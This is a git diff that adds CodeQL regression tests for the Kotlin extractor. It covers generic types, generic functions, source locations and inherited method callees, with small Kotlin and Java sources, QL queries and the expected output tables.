+++ b/java/ql/test/kotlin/library-tests/generics-location/generics.kt
@@ -0,0 +1,11 @@
+package main
+
+class B<T> {
+    fun fn() {
+        val a0 = A<String>()
+        val a1 = A<Any>()
+
+        val b0 = B<String>()
+        val b1 = B<Any>()
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/generics-location/locations.expected b/java/ql/test/kotlin/library-tests/generics-location/locations.expected
new file mode 100644
index 00000000000..c0c37948cb6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics-location/locations.expected
@@ -0,0 +1,26 @@
+classLocations
+| main.A | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| main.A | A.java:3:14:3:14 | A.java:3:14:3:14 |
+| main.A<Integer> | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| main.A<Object> | file:///!unknown-binary-location/main/A.class:0:0:0:0 | file:///!unknown-binary-location/main/A.class:0:0:0:0 |
+| main.A<String> | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| main.A<String> | file:///!unknown-binary-location/main/A.class:0:0:0:0 | file:///!unknown-binary-location/main/A.class:0:0:0:0 |
+| main.B | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
+| main.B | generics.kt:3:1:11:1 | generics.kt:3:1:11:1 |
+| main.B<Integer> | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
+| main.B<Object> | file:///!unknown-binary-location/main/B.class:0:0:0:0 | file:///!unknown-binary-location/main/B.class:0:0:0:0 |
+| main.B<String> | file:///!unknown-binary-location/main/B.class:0:0:0:0 | file:///!unknown-binary-location/main/B.class:0:0:0:0 |
+| main.B<String> | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
+callableLocations
+| A.fn | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| A.fn | A.java:4:17:4:18 | A.java:4:17:4:18 |
+| A<Integer>.fn | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| A<Object>.fn | file:///!unknown-binary-location/main/A.class:0:0:0:0 | file:///!unknown-binary-location/main/A.class:0:0:0:0 |
+| A<String>.fn | A.class:0:0:0:0 | A.class:0:0:0:0 |
+| A<String>.fn | file:///!unknown-binary-location/main/A.class:0:0:0:0 | file:///!unknown-binary-location/main/A.class:0:0:0:0 |
+| B.fn | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
+| B.fn | generics.kt:4:5:10:5 | generics.kt:4:5:10:5 |
+| B<Integer>.fn | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
+| B<Object>.fn | file:///!unknown-binary-location/main/B.class:0:0:0:0 | file:///!unknown-binary-location/main/B.class:0:0:0:0 |
+| B<String>.fn | file:///!unknown-binary-location/main/B.class:0:0:0:0 | file:///!unknown-binary-location/main/B.class:0:0:0:0 |
+| B<String>.fn | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 | generics-location.testproj/test.class.files/main/B.class:0:0:0:0 |
diff --git a/java/ql/test/kotlin/library-tests/generics-location/locations.ql b/java/ql/test/kotlin/library-tests/generics-location/locations.ql
new file mode 100644
index 00000000000..39796f4773b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics-location/locations.ql
@@ -0,0 +1,17 @@
+import java
+
+query predicate classLocations(string name, Location location) {
+  exists(Class type |
+    type.getQualifiedName() = name and
+    type.getSourceDeclaration().getName() in ["A", "B"] and
+    hasLocation(type, location)
+  )
+}
+
+query predicate callableLocations(string name, Location location) {
+  exists(Callable callable |
+    callable.getQualifiedName() = name and
+    callable.getName() = "fn" and
+    hasLocation(callable, location)
+  )
+}
diff --git a/java/ql/test/kotlin/library-tests/generics/PrintAst.expected b/java/ql/test/kotlin/library-tests/generics/PrintAst.expected
new file mode 100644
index 00000000000..37f27bdb483
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics/PrintAst.expected
@@ -0,0 +1,259 @@
+generics.kt:
+#    0| [CompilationUnit] generics
+#    0|   1: [Class] GenericsKt
+#    3|     1: [ExtensionMethod] f0
+#-----|       2: (Generic Parameters)
+#    3|         0: [TypeVariable] S
+#    3|       3: [TypeAccess] S
+#-----|       4: (Parameters)
+#    3|         0: [Parameter] <this>
+#    3|           0: [TypeAccess] int
+#    3|         1: [Parameter] s
+#    3|           0: [TypeAccess] S
+#    3|       5: [BlockStmt] { ... }
+#    4|         0: [ReturnStmt] return ...
+#    4|           0: [VarAccess] s
+#    7|     2: [ExtensionMethod] f1
+#-----|       2: (Generic Parameters)
+#    7|         0: [TypeVariable] S
+#    7|       3: [TypeAccess] C0<S>
+#    7|         0: [TypeAccess] S
+#-----|       4: (Parameters)
+#    7|         0: [Parameter] <this>
+#    7|           0: [TypeAccess] int
+#    7|         1: [Parameter] s
+#    7|           0: [TypeAccess] S
+#    7|       5: [BlockStmt] { ... }
+#    8|         0: [ReturnStmt] return ...
+#    8|           0: [NullLiteral] null
+#   24|     3: [Method] m
+#   24|       3: [TypeAccess] Unit
+#   24|       5: [BlockStmt] { ... }
+#   25|         0: [LocalVariableDeclStmt] var ...;
+#   25|           1: [LocalVariableDeclExpr] c1
+#   25|             0: [ClassInstanceExpr] new C1<Integer,Integer>(...)
+#   25|               -3: [TypeAccess] C1<Integer,Integer>
+#   25|                 0: [TypeAccess] Integer
+#   25|                 1: [TypeAccess] Integer
+#   25|               0: [IntegerLiteral] 1
+#   26|         1: [ExprStmt] <Expr>;
+#   26|           0: [MethodAccess] f1(...)
+#   26|             -1: [VarAccess] c1
+#   26|             0: [IntegerLiteral] 2
+#   27|         2: [LocalVariableDeclStmt] var ...;
+#   27|           1: [LocalVariableDeclExpr] x1
+#   27|             0: [MethodAccess] f2(...)
+#   27|               -2: [TypeAccess] String
+#   27|               -1: [VarAccess] c1
+#   27|               0: [StringLiteral] 
+#   28|         3: [LocalVariableDeclStmt] var ...;
+#   28|           1: [LocalVariableDeclExpr] c2
+#   28|             0: [ClassInstanceExpr] new C1<String,Integer>(...)
+#   28|               -3: [TypeAccess] C1<String,Integer>
+#   28|                 0: [TypeAccess] String
+#   28|                 1: [TypeAccess] Integer
+#   28|               0: [StringLiteral] 
+#   29|         4: [ExprStmt] <Expr>;
+#   29|           0: [MethodAccess] f1(...)
+#   29|             -1: [VarAccess] c2
+#   29|             0: [StringLiteral] a
+#   30|         5: [LocalVariableDeclStmt] var ...;
+#   30|           1: [LocalVariableDeclExpr] x2
+#   30|             0: [MethodAccess] f2(...)
+#   30|               -2: [TypeAccess] Integer
+#   30|               -1: [VarAccess] c2
+#   30|               0: [IntegerLiteral] 3
+#   31|         6: [LocalVariableDeclStmt] var ...;
+#   31|           1: [LocalVariableDeclExpr] c3
+#   31|             0: [ClassInstanceExpr] new C2(...)
+#   31|               -3: [TypeAccess] C2
+#   32|         7: [ExprStmt] <Expr>;
+#   32|           0: [MethodAccess] f4(...)
+#   32|             -2: [TypeAccess] Integer
+#   32|             -1: [VarAccess] c3
+#   32|             0: [IntegerLiteral] 5
+#   33|         8: [LocalVariableDeclStmt] var ...;
+#   33|           1: [LocalVariableDeclExpr] c4
+#   33|             0: [ClassInstanceExpr] new C0<Integer>(...)
+#   33|               -3: [TypeAccess] C0<Integer>
+#   33|                 0: [TypeAccess] Integer
+#   11|   2: [Class,GenericType,ParameterizedType] C0
+#-----|     -2: (Generic Parameters)
+#   11|       0: [TypeVariable] V
+#   11|     1: [Constructor] C0
+#   11|       5: [BlockStmt] { ... }
+#   11|         0: [SuperConstructorInvocationStmt] super(...)
+#   11|         1: [BlockStmt] { ... }
+#   13|   4: [Class,GenericType,ParameterizedType] C1
+#-----|     -2: (Generic Parameters)
+#   13|       0: [TypeVariable] T
+#   13|       1: [TypeVariable] W
+#   13|     1: [Constructor] C1
+#-----|       4: (Parameters)
+#   13|         0: [Parameter] t
+#   13|           0: [TypeAccess] T
+#   13|       5: [BlockStmt] { ... }
+#   13|         0: [SuperConstructorInvocationStmt] super(...)
+#   13|         1: [BlockStmt] { ... }
+#   13|           0: [ExprStmt] <Expr>;
+#   13|             0: [KtInitializerAssignExpr] ...=...
+#   13|               0: [VarAccess] t
+#   13|     2: [Method] getT
+#   13|       3: [TypeAccess] T
+#   13|       5: [BlockStmt] { ... }
+#   13|         0: [ReturnStmt] return ...
+#   13|           0: [VarAccess] this.t
+#   13|             -1: [ThisAccess] this
+#   13|     2: [FieldDeclaration] T t;
+#   13|       -1: [TypeAccess] T
+#   13|       0: [VarAccess] t
+#   14|     4: [Method] f1
+#   14|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   14|         0: [Parameter] t
+#   14|           0: [TypeAccess] T
+#   14|       5: [BlockStmt] { ... }
+#   15|     5: [Method] f2
+#-----|       2: (Generic Parameters)
+#   15|         0: [TypeVariable] U
+#   15|       3: [TypeAccess] C1<U,U>
+#   15|         0: [TypeAccess] U
+#   15|         1: [TypeAccess] U
+#-----|       4: (Parameters)
+#   15|         0: [Parameter] u
+#   15|           0: [TypeAccess] U
+#   15|       5: [BlockStmt] { ... }
+#   16|         0: [ReturnStmt] return ...
+#   16|           0: [ClassInstanceExpr] new C1<U,U>(...)
+#   16|             -3: [TypeAccess] C1<U,U>
+#   16|               0: [TypeAccess] U
+#   16|               1: [TypeAccess] U
+#   16|             0: [VarAccess] u
+#   20|   6: [Class] C2
+#   20|     1: [Constructor] C2
+#   20|       5: [BlockStmt] { ... }
+#   20|         0: [SuperConstructorInvocationStmt] super(...)
+#   20|         1: [BlockStmt] { ... }
+#   21|     2: [Method] f4
+#-----|       2: (Generic Parameters)
+#   21|         0: [TypeVariable] P
+#   21|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   21|         0: [Parameter] p
+#   21|           0: [TypeAccess] P
+#   21|       5: [BlockStmt] { ... }
+#   36|   7: [Class,GenericType,ParameterizedType] BoundedTest
+#-----|     -2: (Generic Parameters)
+#   36|       0: [TypeVariable] T
+#   36|       1: [TypeVariable] S
+#   36|     1: [Constructor] BoundedTest
+#   36|       5: [BlockStmt] { ... }
+#   36|         0: [SuperConstructorInvocationStmt] super(...)
+#   36|         1: [BlockStmt] { ... }
+#   38|     2: [Method] m
+#   38|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   38|         0: [Parameter] s
+#   38|           0: [TypeAccess] S
+#   38|         1: [Parameter] t
+#   38|           0: [TypeAccess] T
+#   38|       5: [BlockStmt] { ... }
+#   42|   8: [Class,GenericType,ParameterizedType] Outer
+#-----|     -2: (Generic Parameters)
+#   42|       0: [TypeVariable] T1
+#   42|       1: [TypeVariable] T2
+#   42|     3: [Constructor] Outer
+#   42|       5: [BlockStmt] { ... }
+#   42|         0: [SuperConstructorInvocationStmt] super(...)
+#   42|         1: [BlockStmt] { ... }
+#   43|     4: [Class,GenericType,ParameterizedType] Inner1
+#-----|       -2: (Generic Parameters)
+#   43|         0: [TypeVariable] T3
+#   43|         1: [TypeVariable] T4
+#   43|       1: [Constructor] Inner1
+#   43|         5: [BlockStmt] { ... }
+#   43|           0: [SuperConstructorInvocationStmt] super(...)
+#   43|           1: [BlockStmt] { ... }
+#   44|       2: [Method] fn1
+#   44|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   44|           0: [Parameter] t1
+#   44|             0: [TypeAccess] T1
+#   44|           1: [Parameter] t2
+#   44|             0: [TypeAccess] T2
+#   44|           2: [Parameter] t3
+#   44|             0: [TypeAccess] T3
+#   44|           3: [Parameter] t4
+#   44|             0: [TypeAccess] T4
+#   44|         5: [BlockStmt] { ... }
+#   45|           0: [LocalVariableDeclStmt] var ...;
+#   45|             1: [LocalVariableDeclExpr] c
+#   45|               0: [ClassInstanceExpr] new Inner1<Integer,String>(...)
+#   45|                 -3: [TypeAccess] Inner1<Integer,String>
+#   45|                   0: [TypeAccess] Integer
+#   45|                   1: [TypeAccess] String
+#   45|                 -2: [ThisAccess] Outer.this
+#   45|                   0: [TypeAccess] Outer
+#   49|     5: [Class,GenericType,ParameterizedType] Nested1
+#-----|       -2: (Generic Parameters)
+#   49|         0: [TypeVariable] T3
+#   49|         1: [TypeVariable] T4
+#   49|       1: [Constructor] Nested1
+#   49|         5: [BlockStmt] { ... }
+#   49|           0: [SuperConstructorInvocationStmt] super(...)
+#   49|           1: [BlockStmt] { ... }
+#   50|       2: [Method] fn2
+#   50|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   50|           0: [Parameter] t3
+#   50|             0: [TypeAccess] T3
+#   50|           1: [Parameter] t4
+#   50|             0: [TypeAccess] T4
+#   50|         5: [BlockStmt] { ... }
+#   51|           0: [LocalVariableDeclStmt] var ...;
+#   51|             1: [LocalVariableDeclExpr] c
+#   51|               0: [ClassInstanceExpr] new Nested1<Integer,String>(...)
+#   51|                 -3: [TypeAccess] Nested1<Integer,String>
+#   51|                   0: [TypeAccess] Integer
+#   51|                   1: [TypeAccess] String
+#   56|   9: [Class,GenericType,ParameterizedType] Class1
+#-----|     -2: (Generic Parameters)
+#   56|       0: [TypeVariable] T1
+#   56|     1: [Constructor] Class1
+#   56|       5: [BlockStmt] { ... }
+#   56|         0: [SuperConstructorInvocationStmt] super(...)
+#   56|         1: [BlockStmt] { ... }
+#   57|     2: [Method] fn1
+#-----|       2: (Generic Parameters)
+#   57|         0: [TypeVariable] T2
+#   57|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   57|         0: [Parameter] t
+#   57|           0: [TypeAccess] T2
+#   57|       5: [BlockStmt] { ... }
+#   58|         0: [LocalTypeDeclStmt] class ...
+#   58|           0: [Class,GenericType,LocalClass,ParameterizedType] Local
+#-----|             -2: (Generic Parameters)
+#   58|               0: [TypeVariable] T3
+#   58|             1: [Constructor] Local
+#   58|               5: [BlockStmt] { ... }
+#   58|                 0: [SuperConstructorInvocationStmt] super(...)
+#   58|                 1: [BlockStmt] { ... }
+#   59|             2: [Method] fn2
+#-----|               2: (Generic Parameters)
+#   59|                 0: [TypeVariable] T4
+#   59|               3: [TypeAccess] Unit
+#-----|               4: (Parameters)
+#   59|                 0: [Parameter] t2
+#   59|                   0: [TypeAccess] T2
+#   59|                 1: [Parameter] t4
+#   59|                   0: [TypeAccess] T4
+#   59|               5: [BlockStmt] { ... }
+#   61|         1: [ExprStmt] <Expr>;
+#   61|           0: [MethodAccess] fn2(...)
+#   61|             -2: [TypeAccess] String
+#   61|             -1: [ClassInstanceExpr] new Local<Integer>(...)
+#   61|               -3: [TypeAccess] Local<Integer>
+#   61|                 0: [TypeAccess] Integer
+#   61|             0: [VarAccess] t
+#   61|             1: [StringLiteral] 
diff --git a/java/ql/test/kotlin/library-tests/generics/PrintAst.qlref b/java/ql/test/kotlin/library-tests/generics/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/generics/generics.expected b/java/ql/test/kotlin/library-tests/generics/generics.expected
new file mode 100644
index 00000000000..d7ec08b794d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics/generics.expected
@@ -0,0 +1,75 @@
+genericType
+| generics.kt:11:1:11:19 | C0 | generics.kt:11:15:11:15 | V | 0 |
+| generics.kt:13:1:18:1 | C1 | generics.kt:13:10:13:10 | T | 0 |
+| generics.kt:13:1:18:1 | C1 | generics.kt:13:13:13:13 | W | 1 |
+| generics.kt:36:1:40:1 | BoundedTest | generics.kt:36:19:36:34 | T | 0 |
+| generics.kt:36:1:40:1 | BoundedTest | generics.kt:36:37:36:41 | S | 1 |
+| generics.kt:42:1:54:1 | Outer | generics.kt:42:13:42:14 | T1 | 0 |
+| generics.kt:42:1:54:1 | Outer | generics.kt:42:17:42:18 | T2 | 1 |
+| generics.kt:43:5:47:5 | Inner1 | generics.kt:43:24:43:25 | T3 | 0 |
+| generics.kt:43:5:47:5 | Inner1 | generics.kt:43:28:43:29 | T4 | 1 |
+| generics.kt:49:5:53:5 | Nested1 | generics.kt:49:19:49:20 | T3 | 0 |
+| generics.kt:49:5:53:5 | Nested1 | generics.kt:49:23:49:24 | T4 | 1 |
+| generics.kt:56:1:63:1 | Class1 | generics.kt:56:14:56:15 | T1 | 0 |
+| generics.kt:58:9:60:9 | Local | generics.kt:58:21:58:22 | T3 | 0 |
+parameterizedType
+| generics.kt:11:1:11:19 | C0 | generics.kt:11:1:11:19 | C0 | 0 | V |
+| generics.kt:13:1:18:1 | C1 | generics.kt:13:1:18:1 | C1 | 0 | T |
+| generics.kt:13:1:18:1 | C1 | generics.kt:13:1:18:1 | C1 | 1 | W |
+| generics.kt:36:1:40:1 | BoundedTest | generics.kt:36:1:40:1 | BoundedTest | 0 | T |
+| generics.kt:36:1:40:1 | BoundedTest | generics.kt:36:1:40:1 | BoundedTest | 1 | S |
+| generics.kt:42:1:54:1 | Outer | generics.kt:42:1:54:1 | Outer | 0 | T1 |
+| generics.kt:42:1:54:1 | Outer | generics.kt:42:1:54:1 | Outer | 1 | T2 |
+| generics.kt:43:5:47:5 | Inner1 | generics.kt:43:5:47:5 | Inner1 | 0 | T3 |
+| generics.kt:43:5:47:5 | Inner1 | generics.kt:43:5:47:5 | Inner1 | 1 | T4 |
+| generics.kt:49:5:53:5 | Nested1 | generics.kt:49:5:53:5 | Nested1 | 0 | T3 |
+| generics.kt:49:5:53:5 | Nested1 | generics.kt:49:5:53:5 | Nested1 | 1 | T4 |
+| generics.kt:56:1:63:1 | Class1 | generics.kt:56:1:63:1 | Class1 | 0 | T1 |
+| generics.kt:58:9:60:9 | Local | generics.kt:58:9:60:9 | Local | 0 | T3 |
+function
+| generics.kt:3:1:5:1 | f0 | f0(int,java.lang.Object) |
+| generics.kt:7:1:9:1 | f1 | f1(int,java.lang.Object) |
+| generics.kt:11:6:11:19 | C0 | C0() |
+| generics.kt:13:1:18:1 | C1 | C1(java.lang.Object) |
+| generics.kt:13:16:13:23 | getT | getT() |
+| generics.kt:14:5:14:19 | f1 | f1(java.lang.Object) |
+| generics.kt:15:5:17:5 | f2 | f2(java.lang.Object) |
+| generics.kt:20:1:22:1 | C2 | C2() |
+| generics.kt:21:5:21:23 | f4 | f4(java.lang.Object) |
+| generics.kt:24:1:34:1 | m | m() |
+| generics.kt:36:1:40:1 | BoundedTest | BoundedTest() |
+| generics.kt:38:5:38:25 | m | m(java.lang.CharSequence,java.lang.CharSequence) |
+| generics.kt:42:1:54:1 | Outer | Outer() |
+| generics.kt:43:11:47:5 | Inner1 | Inner1() |
+| generics.kt:44:9:46:9 | fn1 | fn1(java.lang.Object,java.lang.Object,java.lang.Object,java.lang.Object) |
+| generics.kt:49:5:53:5 | Nested1 | Nested1() |
+| generics.kt:50:9:52:9 | fn2 | fn2(java.lang.Object,java.lang.Object) |
+| generics.kt:56:1:63:1 | Class1 | Class1() |
+| generics.kt:57:5:62:5 | fn1 | fn1(java.lang.Object) |
+| generics.kt:58:9:60:9 | Local | Local() |
+| generics.kt:59:13:59:43 | fn2 | fn2(java.lang.Object,java.lang.Object) |
+genericFunction
+| generics.kt:3:1:5:1 | f0 | generics.kt:0:0:0:0 | GenericsKt | generics.kt:3:6:3:6 | S | 0 |
+| generics.kt:7:1:9:1 | f1 | generics.kt:0:0:0:0 | GenericsKt | generics.kt:7:6:7:6 | S | 0 |
+| generics.kt:15:5:17:5 | f2 | generics.kt:13:1:18:1 | C1 | generics.kt:15:10:15:10 | U | 0 |
+| generics.kt:21:5:21:23 | f4 | generics.kt:20:1:22:1 | C2 | generics.kt:21:10:21:10 | P | 0 |
+| generics.kt:57:5:62:5 | fn1 | generics.kt:56:1:63:1 | Class1 | generics.kt:57:10:57:11 | T2 | 0 |
+| generics.kt:59:13:59:43 | fn2 | generics.kt:58:9:60:9 | Local | generics.kt:59:18:59:19 | T4 | 0 |
+genericCall
+| generics.kt:27:17:27:22 | f2(...) | generics.kt:15:10:15:10 | U | String |
+| generics.kt:30:17:30:21 | f2(...) | generics.kt:15:10:15:10 | U | Integer |
+| generics.kt:32:8:32:12 | f4(...) | generics.kt:21:10:21:10 | P | Integer |
+| generics.kt:61:22:61:31 | fn2(...) | generics.kt:59:18:59:19 | T4 | String |
+genericCtor
+| generics.kt:16:16:16:26 | new C1<U,U>(...) | 0 | U |
+| generics.kt:16:16:16:26 | new C1<U,U>(...) | 1 | U |
+| generics.kt:25:14:25:28 | new C1<Integer,Integer>(...) | 0 | Integer |
+| generics.kt:25:14:25:28 | new C1<Integer,Integer>(...) | 1 | Integer |
+| generics.kt:28:14:28:32 | new C1<String,Integer>(...) | 0 | String |
+| generics.kt:28:14:28:32 | new C1<String,Integer>(...) | 1 | Integer |
+| generics.kt:33:21:33:29 | new C0<Integer>(...) | 0 | Integer |
+| generics.kt:45:21:45:41 | new Inner1<Integer,String>(...) | 0 | Integer |
+| generics.kt:45:21:45:41 | new Inner1<Integer,String>(...) | 1 | String |
+| generics.kt:51:21:51:42 | new Nested1<Integer,String>(...) | 0 | Integer |
+| generics.kt:51:21:51:42 | new Nested1<Integer,String>(...) | 1 | String |
+| generics.kt:61:9:61:20 | new Local<Integer>(...) | 0 | Integer |
diff --git a/java/ql/test/kotlin/library-tests/generics/generics.kt b/java/ql/test/kotlin/library-tests/generics/generics.kt
new file mode 100644
index 00000000000..247fd70deaa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics/generics.kt
@@ -0,0 +1,63 @@
+package foo.bar
+
+fun <S> Int.f0(s: S): S {
+    return s
+}
+
+fun <S> Int.f1(s: S): C0<S>? {
+    return null
+}
+
+open class C0<V> {}
+
+class C1<T, W>(val t: T) : C0<W>() {
+    fun f1(t: T) {}
+    fun <U> f2(u: U): C1<U, U> {
+        return C1<U, U>(u)
+    }
+}
+
+class C2() {
+    fun <P> f4(p: P) {}
+}
+
+fun m() {
+    val c1 = C1<Int, Int>(1)
+    c1.f1(2)
+    val x1 = c1.f2("")
+    val c2 = C1<String, Int>("")
+    c2.f1("a")
+    val x2 = c2.f2(3)
+    val c3 = C2()
+    c3.f4(5)
+    val c4: C0<*> = C0<Int>()
+}
+
+class BoundedTest<T : CharSequence, S : T> {
+
+    fun m(s: S, t: T) { }
+
+}
+
+class Outer<T1, T2> {
+    inner class Inner1<T3, T4> {
+        fun fn1(t1: T1, t2: T2, t3: T3, t4: T4) {
+            val c = Inner1<Int, String>()
+        }
+    }
+
+    class Nested1<T3, T4> {
+        fun fn2(t3: T3, t4: T4) {
+            val c = Nested1<Int, String>()
+        }
+    }
+}
+
+class Class1<T1> {
+    fun <T2> fn1(t: T2) {
+        class Local<T3> {
+            fun <T4> fn2(t2: T2, t4: T4) {}
+        }
+        Local<Int>().fn2(t, "")
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/generics/generics.ql b/java/ql/test/kotlin/library-tests/generics/generics.ql
new file mode 100644
index 00000000000..8851d3c6441
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/generics/generics.ql
@@ -0,0 +1,30 @@
+import java
+
+query predicate genericType(GenericType t, TypeVariable tv, int i) {
+  t.getTypeParameter(i) = tv and t.getFile().isKotlinSourceFile()
+}
+
+query predicate parameterizedType(ParameterizedType t, GenericType gt, int i, string ta) {
+  t.getGenericType() = gt and
+  t.getTypeArgument(i).toString() = ta and
+  t.getFile().isKotlinSourceFile()
+}
+
+query predicate function(Callable c, string signature) {
+  signature = c.getSignature() and
+  c.getFile().isKotlinSourceFile()
+}
+
+query predicate genericFunction(GenericCallable c, RefType declType, TypeVariable tv, int i) {
+  c.getTypeParameter(i) = tv and
+  c.getFile().isKotlinSourceFile() and
+  c.getDeclaringType() = declType
+}
+
+query predicate genericCall(GenericCall c, TypeVariable tv, string t) {
+  c.getATypeArgument(tv).toString() = t
+}
+
+query predicate genericCtor(ClassInstanceExpr c, int i, string ta) {
+  c.getTypeArgument(i).getType().toString() = ta
+}
diff --git a/java/ql/test/kotlin/library-tests/inherited-callee/Test.java b/java/ql/test/kotlin/library-tests/inherited-callee/Test.java
new file mode 100644
index 00000000000..6df2fa57f36
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inherited-callee/Test.java
@@ -0,0 +1,33 @@
+public class Test {
+
+  void inheritMe() { }
+
+}
+
+interface ParentIf {
+
+  void inheritedInterfaceMethodJ();
+
+}
+
+interface ChildIf extends ParentIf {
+
+
+}
+
+class Child extends Test {
+
+  public static void user() {
+
+    Child c = new Child();
+    c.toString();
+    c.equals(c);
+    c.hashCode();
+    c.inheritMe();
+    ChildIf c2 = null;
+    c2.inheritedInterfaceMethodJ();
+
+  }
+
+}
+
diff --git a/java/ql/test/kotlin/library-tests/inherited-callee/Test.kt b/java/ql/test/kotlin/library-tests/inherited-callee/Test.kt
new file mode 100644
index 00000000000..be8417863d8
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inherited-callee/Test.kt
@@ -0,0 +1,33 @@
+open class TestKt {
+
+  fun inheritMe() { }
+
+}
+
+interface ParentIf {
+
+  fun inheritedInterfaceMethodK()
+
+}
+
+interface ChildIf : ParentIf {
+
+
+}
+
+class ChildKt : TestKt() {
+
+  fun user() {
+
+    val c = ChildKt()
+    c.toString()
+    c.equals(c)
+    c.hashCode()
+    c.inheritMe()
+    val c2: ParentIf? = null
+    c2?.inheritedInterfaceMethodK()
+
+  }
+
+}
+
diff --git a/java/ql/test/kotlin/library-tests/inherited-callee/test.expected b/java/ql/test/kotlin/library-tests/inherited-callee/test.expected
new file mode 100644
index 00000000000..38f8f9f0666
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inherited-callee/test.expected
@@ -0,0 +1,10 @@
+| Test.java:23:5:23:16 | toString(...) | toString | Object |
+| Test.java:24:5:24:15 | equals(...) | equals | Object |
+| Test.java:25:5:25:16 | hashCode(...) | hashCode | Object |
+| Test.java:26:5:26:17 | inheritMe(...) | inheritMe | Test |
+| Test.java:28:5:28:34 | inheritedInterfaceMethodJ(...) | inheritedInterfaceMethodJ | ParentIf |
+| Test.kt:23:7:23:16 | toString(...) | toString | Object |
+| Test.kt:24:7:24:15 | equals(...) | equals | Object |
+| Test.kt:25:7:25:16 | hashCode(...) | hashCode | Object |
+| Test.kt:26:7:26:17 | inheritMe(...) | inheritMe | TestKt |
+| Test.kt:28:9:28:35 | inheritedInterfaceMethodK(...) | inheritedInterfaceMethodK | ParentIf |
diff --git a/java/ql/test/kotlin/library-tests/inherited-callee/test.ql b/java/ql/test/kotlin/library-tests/inherited-callee/test.ql
new file mode 100644
index 00000000000..77a57bc7122
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inherited-callee/test.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess ma, Callable callee, RefType declaringType
+where ma.getCallee() = callee and callee.getDeclaringType() = declaringType
+select ma, callee.toString(), declaringType.toString()
diff --git a/java/ql/test/kotlin/library-tests/inheritence-substitution/test.expected b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.expected
new file mode 100644
index 00000000000..95507fac8d6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.expected
@@ -0,0 +1,40 @@
+| test.kt:14:3:14:29 | p1 | file:///!unknown-binary-location/main/SimpleInvariant.class:0:0:0:0 | SimpleInvariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:15:3:15:33 | p2 | file:///!unknown-binary-location/main/SimpleInvariant.class:0:0:0:0 | SimpleInvariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:16:3:16:32 | p3 | file:///!unknown-binary-location/main/SimpleInvariant.class:0:0:0:0 | SimpleInvariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:17:3:17:24 | p4 | file:///!unknown-binary-location/main/SimpleInvariant.class:0:0:0:0 | SimpleInvariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:18:3:18:29 | p5 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:18:3:18:29 | p5 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<String>> |
+| test.kt:19:3:19:33 | p6 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:19:3:19:33 | p6 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? extends String>> |
+| test.kt:20:3:20:32 | p7 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:20:3:20:32 | p7 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? super String>> |
+| test.kt:21:3:21:24 | p8 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
